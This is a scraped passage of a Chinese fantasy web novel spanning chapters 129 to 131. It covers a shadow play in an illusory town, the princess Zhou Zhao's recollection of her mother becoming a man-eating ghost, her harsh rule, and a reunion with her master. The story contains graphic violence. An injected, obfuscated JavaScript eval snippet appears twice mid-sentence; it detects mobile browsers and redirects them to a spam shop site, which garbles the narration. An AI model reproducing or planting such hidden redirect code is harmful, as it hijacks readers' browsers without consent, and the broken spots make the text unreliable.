渡舟站在原地,似乎在思考这个问题该如何回答。 周昭又道:“永安门之变,陈子明谋反。” 听到这两个词渡舟才反应过来,依旧笑了笑:“当然不是了,我那时候......嗯,怎么说......还没修练到家,成业又追得紧,所以才金蝉脱壳。至于为什么偏偏是那晚......明鸢,你也知道我不是什么好人,权当我想让你欠我点儿人情。对不起,不用谢。” 若不是周昭早从圣女口中知道渡舟那时候“身受重伤,法力尽失”,说不定真就被渡舟三言两语骗过去。渡舟说完潇洒离开,剩下周昭发了会儿愣,终于被这屋里淡淡的安神香熏得晕晕欲睡。 却不知她刚陷入昏睡,门就被打开了一条缝,一个人影速度极快地闪进来,刚才还呼呼大睡的般般精神抖擞地扒拉在来人肩膀上。 渡舟一改刚才的散漫,神情颇为严肃地关上门。他额际那朵九瓣莲在黑暗中分外妖冶,般般压着嗓子叫了一声,周昭却没有半点儿要醒来的迹象。 “跟来就别说话。”渡舟冷冷道。 般般从他肩膀上跳下来,不偏不倚地挡在床前。 “夜长梦多,让开!” 般般拱起身体呲牙咧嘴,白毛竖起,像一只扎人的刺猬。这一人一猫对视片刻,般般终于在渡舟迫人的气势下不情不愿地缩了缩脖子,迈步挪到一边去了。 ...... 待到天光大亮,周昭伸了个懒腰,从未觉得如此身心舒畅。她有些惊讶地发现自己昨夜可能真的睡得太好了,竟然天都亮了。 周昭摸索着鞋子下榻,忽而心脏传来一阵剧烈的闷痛,这阵疼痛像是把她钉死在原地,弓着身子又倒回床上。 但奇怪的是,还没等周昭回过味儿来,痛感便消失了。除了心脏跳得略快些,其他没有一丁点儿不舒服。就连周昭本人这时候也起了疑心,怀疑史书上在乱写,要么就是将她从祭台上救下来的那位神通广大,连幻术捏造的假心都能跳得这么欢。 早有小鬼傀儡呈上做好的早饭随侍一边,除了渡舟天生就跟这些东西打交道,其余人都还没到让头上冒鬼火的傀儡伺候也能泰然自若的,因此这些东西上完早膳便幽魂一样又飘下去了。 渡舟又是照例只用了一点,不知是不是因为知道了他有旧伤的缘故,周昭看他总觉得不大有精神。他们出发去瀛洲之前,周昭右眼皮狠狠跳了跳,险些打退堂鼓,她心里七上八下,突然想起一件事: 离三月之期还有十日。 是夜,红鱼镇。 惨淡的月光冷冷地照在一方小池子里,一尾红鱼多少有些凄凉地游到月光底下,让人看了不禁觉得这鱼被困在小池形单影只,怪生可怜的。 谁知池水轻轻泛起涟漪,又是一尾红鱼从水底浮上来,和原先那条亲昵交尾同游。 两条红鱼色泽、个头、甚至鱼尾微微上翘的弧度都一模一样,当这两尾鱼一上一下游着的时候,还以为其中一条是月光下的倒影,非得仔细看才能分辨。 不过若是站在这小池前观赏的时间长了,也很好认。两尾鱼中后出来的那个性子活泼,爱摆尾戏水,前面那个则游得不紧不慢,任由后面那个在自己身上蹭来蹭去也不厌烦,着实有趣。 在这小池之后,便是曾经盛极一时的庙宇:红鱼仙府。 如今匾额虽在,庙里却无人看守,几团嚣张的蛛丝张牙舞爪地占领了地盘,在中间神像的排位缠了几个来回,隐约露出“红鱼仙君”四个大字。 而在距离红鱼仙府几十里开外的红鱼镇入口,一行乔装打扮的男男女女正悄无声息地顺着人流游进热闹的街市。 此处民风淳朴,人们多穿粗布麻衣,种田打猎自给自足,说“街市”有些勉强,其实是错落有致的房屋瓦舍间摆些各家各户吃穿不完的小玩意儿,拿来以物易物,商铺店面虽然有,但是很少。这里的人都操着一口听上去唇齿粘连的呢喃软语,说得慢而轻,不用力听则不大能听懂。 无支山进不了瀛洲地界,就连渡舟本人也是第一次来。无他,不管是人还是鬼,都有领地意识,再怎么说渡舟也算是自成业之后的又一大“妖孽”,不好有事没事明着往人家“仙府”上跑。 所以渡舟早在进入红鱼镇之前就敛去了身上鬼气,入乡随俗用布条发带绑住头发,活脱脱一个山野间的俊俏郎君。 周昭没穿过这种衣服,刚开始有些不习惯,过了会儿又觉得穿起来很舒服,没有绫罗绸缎那种绑在身上的束缚感,走路轻快。 她不是没见过渡舟穿粗布衣裳,但那时候他年纪尚小,看不出身量,如今再看不由眼前一亮,暗暗点评道:“少时回京,百姓少不得掷果盈车,渡舟若随我们同行,免不得要被兜头盖脸的鲜花砸晕。” “想不到千里之外还有此等世外桃源。”沈云起对这种还保留原始贸易的方式很是新奇,陆轻苹……不,是上官摇着扇子道:“不该碰的别乱碰,别又像上回中毒,还得本大人救你。” 周昭之前就发现,陆轻苹跟上官富贵不光那张脸能随便切换,就连性格都能一并切走,实在佩服。 沈云起竟然没呛回去,默默地离摊贩远了点儿,跟周昭并排走在一处。 周昭见她表情郁郁,便低声道:“国师大人,你有什么心事吗?” 沈云起啊了一声:“很明显吗?” “还好,我做皇帝的,擅长察言观色。” 沈云起的表情乱七八糟混在一起,似乎纠结许久,才将周昭拉到一边,神神秘秘道:“我似乎有了喜欢的人,怎么办……” 周昭聚精会神道:“哦?” 沈云起难为情道:“就是吧……我以前也没觉得他长得好看,也没觉得他靠谱,也没觉得他——” “国师大人,你夸人的方式还真是……别具一格。” 沈云起本来捏着她的袖子,索性扒拉着周昭半边胳膊小声道:“反正就是……不能怪我,他文韬武略样样都好,法力高强,人品也……也凑合,心地善良,嘴贱但是体贴,偏偏从小又那么惨……总之我看见他就紧张,你说我是喜欢他,还是同情他……” 周昭越听越觉得不对劲,忍不住停步道:“等等,你该不会喜欢渡……” 沈云起吓得一颗心险些当场跳到货摊上贱卖,一把捂住周昭的嘴:“我的好殿下!你说什么啊!” 二人都从对方眼中看到了难以置信。 沈云起眼角抽了抽,实在想不通这人到底是怎么把主君跟“心地善良”四个字沾边的,周昭也不能理解上官富贵怎么就“法力高强”,她扒开沈云起的手,胸有成竹道:“我帮你。” 周昭正要接话,走在她身边的渡舟突然停步,周昭忙低声问道:“可是又头疼了?” 也不知道是不是神鬼相冲,自从走出三苗国,渡舟时不时便会头痛,越靠近红鱼镇发作得越厉害。他显然疼得紧,眉心蹙成一团,却云淡风轻地摆手示意自己没事儿。 那股一直萦绕在心头的不安愈发明显,周昭环顾四周,提议道:“那边有个小茶馆,赶了一天的路,我们过去歇会儿吧。” “正好,小爷我早就累了。”顾绍大大咧咧地走过去,剩下两人见渡舟没说反对才敢动。 茶馆正中间有个戏台子,地方不大,好在人也不多,刚够凑出来五个人能坐下的位置。周昭跟渡舟坐一桌,其余三人坐在隔壁。 “小二,两壶……”那店小二只是嘿嘿地笑,周昭只好打着手势比划,又看周围的人都喝的是大碗茶,想来也没有她要的,于是指了指隔壁桌,小二心领神会,转身进屋去了。 周昭坐定,又侧身问渡舟:“怎么样,好点儿没有?” 渡舟拿腔作调:“还疼。” 这一路,渡舟的头疼症发作的莫名其妙。 若是疼得脸都白了,问便说一点儿事没有。若是像现在这样还有心思笑,反而要说疼。 每每他说疼,周昭便纡尊降贵亲自给他按头。虽然是好心,但周昭哪里干过这种事情,舞刀弄枪的手没轻没重,连陆轻苹看着都肉疼,但渡舟却一脸享受,让陆轻苹怀疑自家主君长了颗铁头,好生佩服。 这会儿渡舟故技重施,不知周昭是关心则乱还是真没看出来,示意渡舟往过来坐点儿。她站起身绕到渡舟身后,正想给他按一按,渡舟却连忙拉着她坐好,笑着说:“别,不疼了。” “真的?”周昭一脸狐疑。 “嗯,真的。” 陆轻苹险些一口水呛到,暗道:“主君这是舍不得这位金枝玉叶的殿下在人前做这种事,这天底下,竟然还有主君舍不得的人......”他暗自感叹,忽然注意到沈云起,眼角抽了抽,低声道:“你这是什么表情?” 沈云起双手撑着下巴一脸花痴,自言自语道:“要死了,天底下怎么会有这么般配的两个人......” 陆轻苹:“......” 顾绍插话道:“什么情况?这两个不是前几天还要打要杀,现在这么腻歪搞什么名堂?” 陆轻苹懒得开口,沈云起跟顾绍埋头窃窃私语一通合计,得出一个结论:这俩人就是从那夜围剿牵机营之后才开始光明正大腻歪的。 顾绍愤愤不平,一拍桌子道:“我就说这女的没安好心,敢情圣上布局让他俩调情来了!” “祖宗!”陆轻苹终于忍不住,露出一个“您当我是死人吗”的满是警告意味的假笑。 渡舟正挑着一脸不悦望过来,台上蓦地一声铜锣响—— 戏台上不知什么时候已经搬上了一出皮影戏。 木门关上,台下烛火一盏盏熄灭,伴随着吱吱呀呀的小调,那方泛黄的旧幕布上隐隐绰绰地出现几个人影。幕后手持皮影的老人抖了抖干瘦的腕骨,又是铮的一声锣响,苍老的声调徐徐灌入耳中。 “且说天地初开,妖邪遍野.. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280834|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ....” 周昭低声道:“看来咱们来得巧,这儿要唱皮影戏了。” 渡舟的声音模糊不清地混在黑暗里传来:“要走吗?” 周昭本来没兴趣,忽然想起渡舟兴许没看过,便道:“看看也无妨。” 一团模糊不清的影子在幕布上厮杀,一方是奇形怪状面目狰狞的怪物,另一方则是手持棍棒铁剑的人。 伴随着老者低沉缓慢的唱腔,幕布上的战争也在如火如荼地进行。 眼看人这一方就要落败,突然,天降玄鸟。跟玄鸟一同落在这熊熊战火的,还有一位衣裙翻飞的神女。 局势陡转,玄鸟和神女互为配合,奋勇杀敌,战场上的嘶吼声被各种古老的乐器演奏得以假乱真,好像他们不是在这小小的茶馆,而是被带到了距今几千年前的古战场。 周昭小声道:“玄鸟我知道,神女想必就是青葵。” 渡舟点点头,点评道:“这故事老套,没什么好看的。” 仿佛是为了迎合他的话,当最后一幕“玄鸟献祭人间,神女受伤离去,周氏掌管天下”次第落幕后,一个大腹便便,头戴王冕的皇帝跃然其上。 就好像演这皮影戏的人跟这位皇帝有仇,故意将他做的面容可憎,身材矮胖。 只见这位皇帝颐指气使,四方来朝仍不满足,坐在王座上傲慢道:“朕的天下,缺了一角。” 朝堂上一位臣子跪地进言道:“陛下,我泱泱大国,岂能容他缺一角。所谓天圆地方......” “哈哈哈哈!缺一角!缺一角!”朝堂外的幼童叽叽喳喳。 “可那太虚国妖人异士众多,又有长生不老珠......” 画面陡转,一位暗自垂泪的公主对镜梳妆,太监尖细的嗓音宣旨道:“朕有意与太虚国结百年之好,特以平阳公主适太虚王子,赍嫁车十乘,即日遣之!” 送亲队伍浩浩荡荡出城,路过一处荒原,风沙漫天,车驾人仰马翻,公主跌落山坡当场断颈而亡,前来迎亲的太虚国队伍一片混乱,马车上掉出来一个闪闪发光的宝匣。 “太虚为迎娶乌道国公主,特奉长生不老丹。可惜......一场风沙埋了几人骨,灵丹妙药落入畜生口。”话音落,一只浑身雪白的猫一跃而起,咬住宝匣吞入口中。 周昭方才便看出几分端倪,如今更是笃定,这演的分明就是当年周朝与月临和亲之事。 幕布上的白猫难不成......周昭正胡思乱想,渡舟轻轻在她手背拍了两下,低声道:“别怕,既然有人想演给我们看,咱们看看便是。” 台上已经演到两军对垒,不消说,自然是这出戏本子里的“太虚”和“乌道”两国。太虚毫无意外地落败,皇帝封禅泰山,百姓振臂高呼臣服于天子脚下,一个银甲覆身的小将突然冲到台上,旁若无人地将皇帝一刀砍掉脑袋,又铮铮四刀落下砍断手脚,然后转身下场。 周昭惊讶得话都说不利索:“这、这就完了?” 她想过历史上成祖皇帝的死亡真相,从来没想过会这么草率。渡舟也微微挑眉,看样子并不相信:“看来这背后的人对成业恨之入骨,懒得往下唱了。” 紧跟着,因为这小将突然出场行刺的惊慌暴动还没有压下去,另一边琉璃砖瓦重又搭台,高墙内一位宫装妇人诞下婴孩,房檐上百鸟高悬,周昭不由自主地僵了半边身子。 那婴孩呱呱坠地,少顷,先是粉雕玉琢的一团踮着脚尖抓蝴蝶,走了三两步便长成亭亭玉立的少女。这副皮影做得十分精细,连贴面的花钿、肩上的披帛都极为逼真,衬得那少女粉腮玉面,让人看了便不由心生怜爱。 “话说这公主长到十五岁时,乌道国突然出现了一种可怕的瘟疫。” 皮影向右疾跑,前方出现了一座庙宇,随之,一个声音淡淡地从幕后传来:“殿下,你去将那疟鬼抓来,为师会帮你消除瘟疫。” 犹如天边滚惊雷,周昭听见这个声音险些从凳子上跳起来,幸而渡舟一把将她拉住:“明鸢,再等等。” 周昭哪里还等的下去? 这声音不论是亲耳听过、还是在梦里都出现过无数次,她绝对不会认错,这分明就是...... 师父的声音。 那握住皮影的手似乎轻轻抖了抖,很快恢复如常。 “公主”意气风发地走了,剩下庙宇中渐渐显露出刚才说话人的背影,颇为寂寥地自言自语道:“殿下,再无回头路了。” 老人的声音穿插着响起:“乌道公主捉疟鬼,恩师却是太虚人。道士借鬼施妖法,召唤目袋散鬼珠。假扮僧人赠狍鸮,银甲鬼兵听其号,诸王不甘俯首臣,四方战乱由此来。” 周昭的手已经按在剑上,那声音越说越快,高声道:“......槐鬼人头纷纷落,八国硝烟层层起。王后佩珠食亲子,公主无奈背骂名!” “住口!”周昭一跃而起,拔剑刺向幕后。 130. 第 130 章 宣庆二十六年,冬,永安门之变。 皇宫到处都是尖叫声,周昭脚步匆匆,沿着宫道一路狂奔,远远地看见凤仪宫点着明亮的烛火,四下安静极了。 她提着剑,唤道:“母后?母后您在吗?” 没人应答。 凤仪宫透着一股诡异的寂静,宫内侍候的婢女不知所踪,殿内凌乱不堪,蜿蜒的血迹从内殿一直流淌到周昭脚边,她下意识地向后避开,脸上终于显露出莫大的慌乱和惧意。 “母后!母后您在哪儿?” 周昭踉踉跄跄,到了内殿一看,只见皇后跪坐在佛像前,她那端庄美丽的背影像一剂救命的良药,让周昭浑身的血液又重新开始流动起来。 她几乎是丢开剑扑过去,叫道:“母后!您吓死我了!” 皇后转过脸来,她的神情呈现出一种极度的痛苦与极致的快乐融合在一起的扭曲,周昭不禁吓了一跳,小心翼翼地问道:“母后,您怎么了?” 皇后露出一个温柔的笑来,摸了摸周昭的头,轻声道:“皇儿,你回来了。” 她说这话时,心口那串红色的佛珠衬得她愈发光彩照人,层层叠叠的衣袖顺着雪白的小臂滑下去,周昭注意到那袖口沾着未干的血迹,而刚才那股蜿蜒流淌的鲜血正在皇后身下慢慢凝结。 周昭骇得脸色煞白,忙道:“母后,您受伤了?” 皇后仍是勾起唇角微笑,但那抹笑中却藏着一种让周昭心惊胆战的平静。 她拉着皇后的手左看右看,确定皇后浑身上下并无一点伤痕,这才放下心,安抚道:“母后,您别怕,陈子明已经不在宫里了,他不会来伤害您的。” “陈子明?那是谁?” 周昭愈发摸不着头脑,心道:“陈子明谋反这么大的事儿,母后竟没听到半点消息吗?可这血……” 周昭并不放心皇后一个人,却又惦记自己那位弱不禁风的五哥,于是站起来,道:“母后,我去唤人来陪您,您等等我,马上回来。” 皇后突然抓住周昭的手,秀眉蹙起,问道:“皇儿,你去哪儿?” 她那长长的指甲几乎要嵌进周昭手背上的肉里,她忍着痛,安抚道:“母后,我去找五哥,很快回来。” “五哥......去找五哥?”皇后重复道。皇后并不像被吓着了那么简单,周昭愈发觉得不对劲,几乎是哄着皇后,温声道:“是啊母后,您又不是不知道,五哥不会武,又没什么力气。” 皇后听到这里,那张美丽的脸突然露出无比惊悚的表情,她一边放声尖笑,一边道:“是啊,没什么力气……不过,你找不到你那五哥啦!” “母后,您在说什么?”周昭惊愕道。 “因为,你五哥,我的澈儿……”皇后的手缓缓下移,停在自己小腹的位置,嘿嘿笑道,“他在这儿呢……” 周昭当即愣住,半晌,才结结巴巴地反问道:“母后,您、您到底在说什么啊……” 皇后一把推开她,站起身,那华丽的裙摆上全是淋漓不尽的血迹,她披头散发,指着窗外一棵随风而动的大树,眼里放出精光来,砸吧着嘴,喃喃自语道:“我吃掉他啦,嘻嘻,我吃掉啦!” “我变成人啦,我不要、不要当槐鬼!啊啊啊!我不要当槐鬼!” 世间最恐怖的词语也无法形容周昭那时的心情,她难以置信地瞪大眼睛,冲上去抓住皇后的肩膀,厉声问道:“母后!您别吓我,您到底在说什么啊!五哥,五哥在哪儿?” 皇后的目光本来飘忽不定,也不知是不是周昭这一通振聋发聩的喊叫起了作用,她那双涣散的眼睛终于慢慢聚焦,随即停留在周昭的脸上,但仅仅望了一眼,皇后便尖叫一声,猛地推开周昭,蜷缩在角落里,痛彻心扉地喊道:“澈儿!澈儿!” 她将周昭错认成了周澈,皇后神智不清,却又比刚才更清醒,她活像一头发了狂的母狮,一边干呕一边嚎叫,周昭吓得几乎呆住。 片刻后,皇后的目光落在地上那把剑上,周昭想要阻止却已经来不及,她一个箭步冲上去,将剑抓在手里。 “别过来!” 周昭哭喊道:“母后!到底怎么了!您说啊!” 皇后嚎哭不止,那哭声就连最狠心的刽子手听了也要流下眼泪,周昭眼睁睁看着皇后几乎要抠烂自己的嗓子,她的口中呕出血来,指着殿后一个角落道:“我杀了澈儿,是我!是我杀了自己的儿子!” 周昭快步走过去一看,那是她此生都不会忘掉的画面,她身子一软跌坐在地,眼泪夺眶而出,喃喃道:“怎么、怎么会这样?为什么……” “母后!这到底是为什么啊?您告诉我!” “昭儿,是我的昭儿吗?” 皇后时而清醒时而糊涂,她呜咽道:“我、我不知道,我不知道啊!”皇后像一个疯子般手脚并用地爬过来,将剑塞到周昭手里,口齿不清道:“澈儿,杀了母后……快杀了母后!母后不想变成吃人的妖怪!” “母后!”周昭痛哭着连连后退,皇后那张脸一会儿想笑,一会儿又想哭,她一边用头狠命地撞墙,一边又虎视眈眈地盯着周昭,过会子,眼里又流露出十分残忍的痛苦来,这些互相拉扯的情绪几乎要将她整个人都撕裂了。 皇后叫道:“杀了我!杀了我啊!” 这时,殿外隐隐有脚步声整齐地传来,那是消失数日的安定侯带兵救驾的脚步声。谁也不知道,当初安定侯是怎么从禁军的重重关卡悄无声息地出去,又带回这支军队的。 一缕晨光终于缓慢而柔和地透过窗纱,昭示着这场波云诡谲的尘埃落定。 但凤仪殿远远没有结束。 皇后一听有人来,愈发癫狂不止,抓住周昭拼命摇晃道:“我让你杀了我!快动手啊!动手!” “不、不!” “殿下!殿下您在哪儿?”闫斯年的声音由远及近。 “公主殿下!五殿下!”安定侯喊道。 “皇儿!杀了我!求求你,母后求求你!” 皇后的眼睛就像饿了许久的孤狼,眼眶流出两道血泪,她低下头,一口咬在周昭的肩膀上,那里很快就见了血。周昭心如死灰,一动不动任由她咬,哪怕是皇后现在举剑杀了她,她也不会有任何反抗。 突然,那咬在肩膀的牙齿松动了,皇后转过脸来,轻轻地抚摸着周昭的发丝。 “皇儿,你是我的昭儿,母后、母后认出你了。” “母后……”周昭像一只濒死的小兽般痛苦地呜咽了一声。 “……昭儿,好好活着。” 扑哧一声,那柄一直握在周昭手中的长剑被皇后抓住剑刃捅进腹中,她眼中的痛苦终于消失,取而代之是永久的解脱和安宁,周昭惊叫道:“母后!!” ...... 周昭在拔剑跃起的那一霎那,忽然记起来了—— 不是她杀兄,是变成槐鬼的母后吃掉了五哥。 是什么时候呢? 大概是早在安平三年,周昭便发现了一个绝不能被世人知晓的真相。 人人都可能变成槐鬼,不管是穷人富人,男人女人,都逃不过被槐鬼感染的命。 正如那虚无渡所说,怨气已经生发,就算收回珠子也没用。那些亡魂的怨气就像附骨之疽,刮骨疗毒固然能解,届时人都死光了能解又有何用。 但有一类人绝不会被槐鬼感染,那就是身上流着毕方神血的皇族血脉。不管是直系皇亲还是旁了几支的旁系,只要身上流淌着周氏的血,就不会变成槐鬼。 周昭每天都会跟闫斯年呈上来的各类槐鬼明细打交道,时间久了发现这件事并不难。起初周昭并不明白这其中有什么关联,后来才知道原因很简单: 最早的姜国人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281991|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是周朝皇室血脉。那些怨气要吃周氏的人心才能消除心头之恨,必然不会让食物变成主人。 当年成祖皇帝暴毙身亡,史书上只寥寥几笔带过,只说成祖儿女早夭,膝下无子,故推选了成祖那年仅六岁的幼弟登基。 周昭这些年一直在暗查姜国与槐鬼的关联,只是她一开始就找错了方向,后来收到一封从姜国来的密信,周昭秘密去了次龙脊山,打开九重琉璃塔,才知道成祖并非死于重疾,而是死于史书上从未记载的一场暴乱。 这场暴乱似乎起因于修建琉璃塔,俘虏暴动,事后连成祖的尸首都没找到。至于成祖那些子嗣,全部被流放远疆。后来这些人繁衍生息,慢慢地形成一个国家,名曰姜国。 周昭总算知道了为何历朝历代龙脊山都是皇族禁地,只因其中记载了一段没有人愿意承认的历史,一段周氏皇族险些被暴民赶下神台的耻辱。 周昭有些记不清当时自己查清真相是什么感受,似乎是她站在那阴气深重的琉璃塔前,仿佛直到那一刻疟鬼的诅咒才真真切切地压在她心上: 众叛亲离,永世堕鬼。 十七岁的周昭是万民景仰的明鸢殿下,站在受苦受难的人群里信誓旦旦,说只要活着就会找出槐鬼的破解之法。 二十岁的周昭是喜怒无常的天子,她坐在孤独冰冷的龙椅上慢慢老去,不敢面对这破解之法的真相—— 只要周氏血脉在这世上一天,槐鬼便永远不会干净。 如果这件事放在十七岁的周昭身上,她应该会像当年在承乾殿前不顾触怒天颜也要据理力争,为那一点儿世间的黑白长跪不起那样,撤回折杞,与姜国人和谈,为死去的人开坛安魂。 但周昭已经不是十七岁了,她感觉自己老了。 当年顶着一身倔强的反骨势必要跪出个清白人间的人老了。 她从龙脊山回来便火速下了一道秘旨,派人将九重琉璃塔并不存在的“珠宝玉器”全都运回宫,再一把火烧了塔,让这里变成了再没有人敢惦记宝物的荒地。然后伪造了皇族中几个人变成槐鬼的记录,秘密交给闫斯年去办。 做完这些以后干嘛来着? 想起来了。 她连着十日抱着那些“珠宝”夜夜笙歌,醉生梦死。 如果说她周昭一人的心脏能救万民,周昭会毫不犹豫地自己剖腹挖心。 但偏偏不是。 她见过百姓变成槐鬼的痛苦,也见过他们为了吃一口人心而大打出手。她见过自己的皇兄五脏六腑被姜国人掏的干干净净,也见过黑市上十多岁的姜国幼儿被当场杀死卖心。 善良的人被迫变成吃人的鬼,这人间早不似人间,地狱亦不过如此。 周昭本来想让这件事从此烂在肚子里,但还有一人以同样敏锐的嗅觉发现了端倪。 当年霍璋带回来的那个姜国人没有走,面对那年轻人冷峻的逼问,周昭在那龙椅上如坐针毡,她身后是周朝历朝历代几千年基业,身前是一个连声质问势必要将天捅个窟窿的年轻人。 当年的情形再一次上演,只不过造化弄人,十七岁的周昭变成了一巴掌打碎她幻想的宣庆帝,而这年轻人便是那眼中只有是非黑白的周昭。 她当场下令将年轻人关入诏狱,然后拔了他的舌头。 也就是从那一刻起,周昭知道,自己再不能回头了。 从那以后她见人杀人,见鬼杀鬼。残害百姓的槐鬼她杀,生挖人心的百姓她也杀,那短短一个月,一排排人头砍过去,周昭已经记不清自己到底杀了多少个人,只是自欺欺人地维护着心里那一丁点儿微不足道的黑白。 太假了,假惺惺。 百姓恨她,骂她,周昭佯装不见,于一个冬日颁发了被天下文人笔诛墨伐的“路引新法”。 成千上万的周朝百姓从此出关,再也没有踏上这片似乎被诅咒的故土。 131. 第 131 章 山脚下迎来送往,山上钟声依旧。 入秋了,山道被落叶覆盖成一条金灿灿的小路。以往香火旺盛的苍界山如今人烟寥寥,放眼看去只有一个女子缓步拾级而上。 只因几个月前朝廷颁发“路引新令”,那些不愿跟槐鬼一起死在这片土地的百姓纷纷携家带口出逃,中原大地最繁华的盛都宛若一座死城,更何况这苍界山。 那女子穿着一件毫无装饰的黑衣,身形削瘦,步伐缓而轻,天地间只剩下落叶被踩碎后的窸窣声。等走到山顶,女子抬起头,她先是仔细辨认了会儿前面那道拿着扫帚的背影,才试探唤道:“方丈大师?” 僧人转过身,他已经很老了,眼睛却一如当年清亮,双手合十道:“陛下,您来了。” 周昭看了看方丈身后冷冷清清的寺院,问:“大师,人都走光了,您怎么……” 方丈微微笑道:“贫僧一生事佛,佛生于天地万物,哪里都是一样。” 周昭似乎有话想说,方丈见她不言,又开始低着头扫落叶。 “下多大的雪是老天爷的事,扫不扫雪是贫僧的事。” “小殿下不是来了吗?只要来一个人,那就是贫僧扫对了。” 想起从前,周昭心中微微一动,合十拜道:“大师,我有个问题请教。” 一个眉清目秀的小和尚走进禅房,将两盏茶水放在桌上,退下时周昭多看了两眼,方丈道:“这是贫僧的小徒儿,是个天生修闭口禅的,冲撞陛下了。” “大师言重,我只是看他年纪跟稷儿一般大,想到我那小侄子了。”周昭端起茶,苦得舌尖发麻,将这些时日满身疲累都冲淡了些。她跟方丈闲聊许久,一抬眸,才发现对方眼神澄澈略带笑意,似乎正等着她问话。 周昭呼出一口气,缓声道:“大师,我的问题……可不好回答。” “陛下请问,贫僧能答便答,不能答便不答。” 周昭放下茶盏:“……我想问,若杀一人能救十人,杀,还是不杀。” 窗外秋风瑟瑟,刚扫好的落叶又被风卷起,不甘不愿地在半空中打着旋儿。 “此人有罪否?” “怀璧其罪。” “陛下手握神器,有生杀大权,能杀,可以杀。但陛下来问贫僧,那便是罪不该杀。” 周昭紧紧地攥着茶盏,指尖被灼得发红,伏灵院中的血气好像从喉头迸溅出来,她尝到一股腥甜,在这愈演愈烈的秋风中沉声道:“……方丈,若灭一族能救一国,杀,还是不杀。” …… 茶凉了,那十多岁的小师傅前来添茶。 周昭闭了闭眼,缓慢起身:“大师……让稷儿随您修行吧……” 多年以后,凉州铁骑踏入盛都,梁王一把火烧了盛都城,连同那血气弥漫的伏灵院和槐鬼的相关记载一并烧了个干净。 没人知道伏灵院那些修士当年到底造出了什么神器,炼出了何等神药,有说是找到了槐鬼的解决之法的,也有说是用人血行祭祀巫术的。只模糊有几个宫里活下来的人记得,当年被送进伏灵院的那一批槐鬼并没有死,相反,那场贪污巨案中被逮捕之后失踪的王族,全都死在了伏灵院那场大火。 …… 周昭这一剑刺了个空,眼前镜花水月虚幻一场,哪里还有什么茶馆戏台,不过是几条空空荡荡的桌椅板凳。 一个声音轻飘飘地回荡在上空:“明鸢,师父等你来找我。” 周昭撑着剑,眼前阵阵发黑,只听见渡舟似乎在耳边焦急地说什么,那声音混在江梅棠留下的这句话里听不真切。 周昭有些茫然地转身,想说不是这样的,皇后没有做出那种事。一如她当年走出凤仪殿对霍璋他们说的那样。但她心口像是压着万斤巨石,没等说出个完整的字,便猝不及防地吐出一口黑血。 渡舟什么话也没说,将她打横拦腰抱起,脚尖一勾把剑踢给陆轻苹接住,匆匆忙忙地走出去,对着那声音暗暗骂道:“蠢货!” 待走出这间破烂瓦房,众人才见明月余晖凄凄凉凉,月光下除了他们空无一人,唯有树影婆娑,枯叶落地。 “撞鬼了,这里的人怎么都......”顾绍脚下一顿,低头一看,一个瓦罐被他踩成了水灵灵的八瓣。顾绍好容易才将脱口而出的叫声压在嗓子眼里,铁青着脸将那晦气的东西一脚踢开。 陆轻苹四下探查一番,回禀道:“主君,前面有座庙。” 渡舟抱着急火攻心昏过去的周昭,眉心压着股深沉的戾气:“带路。” 他们来时有多热闹,现在便有多安静。 一行人戒备地踏进这处破破烂烂的庙宇,正中那尊神像脸上蒙着几缕蛛丝,勉强能看清真容:是尊相貌平平无奇的像,说男不男,说女不女,耳垂又大又长,眉心点着一点朱砂,倒像尊佛像。 怀里传来一声低语:“渡舟,放我下来吧。” 渡舟手臂下意识紧了紧,闷沉沉地嗯了一声,将周昭放下来。周昭神情无波无澜,纵使刚才皮影戏中那段话所有人都听了个七七八八,却没人在这时候问,那不是作死吗?但偏偏就有人作死—— “刚才那人说是你师父,谁啊?”顾绍摸着下巴问道。 渡舟的眼神恨不得把顾绍活剐了,周昭听到“师父”这两个字,整张脸就好像面无表情的陶俑,突然间裂了条缝,紧跟着四面八方都开始溃不成军,她勉强吐出一口气:“等你见到他,你会知道的。” “去哪儿找他?”顾绍还在作死。 渡舟终于忍无可忍,拇指一捏打了个响指,顾绍连哼都没哼一声便倒下去了。他冲陆轻苹打了个手势,对方会意,将人拖到墙边放好,渡舟揉了揉眉心:“是我大意了,这红鱼镇是处幻境。” “这事儿不怪你。”周昭走到那尊神像面前,自言自语道,“这瀛洲......到底有几个神?” 言罢,周昭便干脆利落地砸了神像。 沈云起倒吸一口气,低声道:“砸神像,怕是不吉利......”周昭却毫不在乎,对着空气道:“师父,你再不出来,我只好把你这庙宇也砸了。” 若江梅棠就是于南桑,若瀛洲只有一个神,那这位神神秘秘的红鱼仙府是谁的,也就不言而喻了。 沈云起朝陆轻苹挪了两步,暗暗道:“殿下在府里这么凶吗?” 陆轻苹用剑柄指了指顾绍,沈云起立马闭嘴了。 说来也奇怪,周昭刚砸了神像,便起了一阵风,吹得树梢呜呜咽咽。等周昭提剑上前准备将这供桌也砍了的时候,一个声音由远及近地传来:“何方妖孽,来此作甚?” 这声音像冷泉,又像山涧一捧雪落。 众人只看清眼前一片白像疾风似的掠过,再看渡舟跟来人已经缠斗在一起。渡舟的实力所有人都有目共睹,但那人竟然跟渡舟动起手来也游刃有余,转眼间已经拆了两三招,周昭一看见那人的脸便气血上涌,脱口而出道:“师父!” 对方疑惑地偏过头,视线落在周昭身上,唤道:“远洲?” 